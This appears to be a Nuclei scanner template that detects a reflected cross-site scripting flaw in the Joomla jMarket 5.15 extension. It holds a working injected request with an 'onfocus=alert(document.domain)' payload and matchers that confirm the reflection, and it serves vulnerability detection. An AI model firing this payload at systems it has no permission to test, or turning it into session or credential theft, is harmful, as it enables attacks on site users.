id: joomla-jmarket-xss

info:
  name: Joomla jMarket 5.15 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://packetstormsecurity.com/files/168581/Joomla-jMarket-5.15-Cross-Site-Scripting.html
    - https://cxsecurity.com/issue/WLB-2022100002
    - https://extensions.joomla.org/
  metadata:
    verified: true
    max-request: 1
  tags: packetstorm,xss,packetstrom,joomla,jmarket

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs[x][search]=gx3vt%20onfocus=alert(document.domain)%20autofocus=%20itkrzsug7w5"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "onfocus=alert(document.domain) autofocus=", "catalog-results", "joomla")'
        condition: and
# digest: 4a0a0047304502201a4f174e2f9e6297add64eafb16962d11d7f911458ff9cb38ec9c17671fd11ae02210080de0a00424c1a244fc8c5c7d3934d3c5e67f3807279db25459210b5b3b4378c:922c64590222798bb761d5b6d8e72950